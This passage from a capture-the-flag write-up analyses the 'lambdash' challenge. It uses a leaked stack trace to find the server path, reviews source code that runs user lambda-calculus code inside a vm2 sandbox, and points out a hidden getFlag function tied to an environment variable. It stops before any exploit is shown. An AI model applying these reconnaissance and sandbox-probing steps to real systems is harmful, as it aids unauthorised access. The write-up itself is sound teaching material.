trim_prefix (/problems/lambdash-3_4_30de32da9b5d4bff6ec4f9ae0c2517d6/node_modules/express/lib/router/index.js:317:13) <br> at /problems/lambdash-3_4_30de32da9b5d4bff6ec4f9ae0c2517d6/node_modules/express/lib/router/index.js:284:7 <br> at Function.process_params (/problems/lambdash-3_4_30de32da9b5d4bff6ec4f9ae0c2517d6/node_modules/express/lib/router/index.js:335:12) <br> at next (/problems/lambdash-3_4_30de32da9b5d4bff6ec4f9ae0c2517d6/node_modules/express/lib/router/index.js:275:10) <br> at expressInit (/problems/lambdash-3_4_30de32da9b5d4bff6ec4f9ae0c2517d6/node_modules/express/lib/middleware/init.js:40:5) </pre> </body> </html>

There we go, that’s our stack trace and /problems/lambdash-3_4_30de32da9b5d4bff6ec4f9ae0c2517d6/ is our path, sweet. Now to download this, I compressed the directory to a zip file and downloaded it using scp . The directory look something like this.

. ├── client │ ├── pages │ │ ├── additional.html │ │ ├── application.html │ │ ├── intro.html │ │ └── ... │ ├── scripts │ │ └── index.js │ ├── styles │ │ └── style.css │ └── index.html └── dist │ └── ... └── src │ ├── emulator.ts │ ├── index.ts │ ├── lambda.d.ts │ ├── lambda.jison │ ├── server.ts │ └── typechecker.ts ├── package-lock.json ├── package.json ├── tsconfig.json └── yarn.lock

First stop, the package.json file

{ "name" : "lambda" , "version" : "1.0.0" , "description" : "" , "main" : "index.js" , "scripts" : { "test" : "echo \" Error: no test specified \" && exit 1" , "build" : "jison src/lambda.jison -o dist/lambda.js && tsc" , "watch" : "concurrently --kill-others 'watch \" jison src/lambda.jison -o dist/lambda.js \" src' 'tsc -w' 'nodemon dist/server.js'" }, "author" : "" , "license" : "ISC" , "dependencies" : { "body-parser" : "^1.18.3" , "express" : "^4.16.3" , "immutable" : "^3.8.2" , "jison" : "^0.4.18" , "mz" : "^2.7.0" , "nconf" : "^0.10.0" , "vm2" : "^3.6.3" }, "devDependencies" : { "@types/body-parser" : "^1.17.0" , "@types/express" : "^4.16.0" , "@types/mz" : "^0.0.32" , "@types/nconf" : "^0.0.37" } }

In the “dependencies”, we have some interesting packages like jison and vm2. jison is an API for creating parsers in javascript. vm2 is basically a sandbox which let’s you run untrusted code safetly inside of it. This makes sense because we will be passing some System F code which will be interpreted and executed in the backend. To safetly execute these instructions we could use a virtual machine like vm2.

Another thing to note is that the code is written in typescript, then compiled to vanilla javascript.

Now the best way to understand the source is to see how it works. Static analysis on the source code give you an overview of what the code does, but there wasn’t anything that was out of the ordinary except one thing. In server.ts , there was a express route to /run endpoint. Let’s look at this

app . post ( "/run" , ( req , res ) => { let code = req . body . code ; let ast : E ; try { ast = parse ( code ); } catch ( e ) { res . send ( ` Error -- code did not parse < br > $ { e . toString ()} ` ); return ; } let type : Type ; try { type = typecheck ( ast ); } catch ( e ) { res . send ( ` Error -- code did not typecheck < br > $ { e . toString ()} ` ); return ; } let vm = new vm2 . NodeVM ({ timeout : 1000 , sandbox : { ast , hidden : { getFlag : (( f : string ) => (( x : string ) => { if ( x === "if you can get this you deserve the flag -> abcd1234!@#$%^&*()'" ) { return f ; } return "Bad! " + x ; }))( process . env . FLAG ) }, }, require : { context : "sandbox" , external : [ "./emulator" , "immutable" ], root : __dirname , }, }); try { let result = vm . run ( new vm2 . VMScript ( ` let emulator = require ( "${__dirname}/emulator" ); module . exports = emulator . resToString ( emulator . default ( ast )); ` )); console . log ( result ); res . send ( ` Result : < br > $ { result }: $ { typeToString ( type )} ` ); } catch ( e ) { console . log ( "Wut" , e . stack ); res . send ( ` Error -- failed to execute < br > $ { e } ` ); } })

As we can see, this is a route to /run endpoint and only POST method is allowed. There is this obvious interesting peice of code which tells us what we need to do in order to get the flag.

let vm = new vm2 . NodeVM ({ timeout : 1000 , sandbox : { ast , hidden : { getFlag : (( f : string ) => (( x : string ) => { if ( x === "if you can get this you deserve the flag -> abcd1234!@#$%^&*()'" ) { return f ; } return "Bad! " + x ; }))( process . env . FLAG ) }, }, require : { context : "sandbox" , external : [ "./emulator" , "immutable" ], root : __dirname , }, });

There’s a hidden property, which has a function called getFlag in it. This tells us that if the value of x is strictly equal to "if you can get this you deserve the flag -> abcd1234!@#$%^&*()'" , then we get our flag. By the way, the flag is in the environment variable process.env.FLAG . This is cool, now we know exactly what we need to do. But the problem is we dont understand how this System F works, so we need to understand this aleast a little bit before jumping into exploitation.

We did some static analysis, this gave us a huge hint on what we need to do, but I also wanted to do some dynamic analysis on the code to get a better picture of this problem. But before getting our hands, let’s install the node package dependencies and also the typescript.

# To install typescript npm install -g typescript # To install other dependencies npm install

To start off, I placed some console.log statements on every function call made. I’m sure there are better ways using Proxy in javascript, but I just wanted this to log stuff, not modify on the fly. This was like a basic logger which spits out the file, the function name and it’s arguments, which helps a lot like to understand the program flow. So for the test case I used this simple System F code.

LAMBDA a. lambda x:a.x

This was also the example code from the documentation, anyways this function is very simple, all it does is, it returns whatever you send it. Here a is a custom type, since we are dealing with a typed lambda calculus, we need to specify types and this is how we do it. Before running this code, let’s s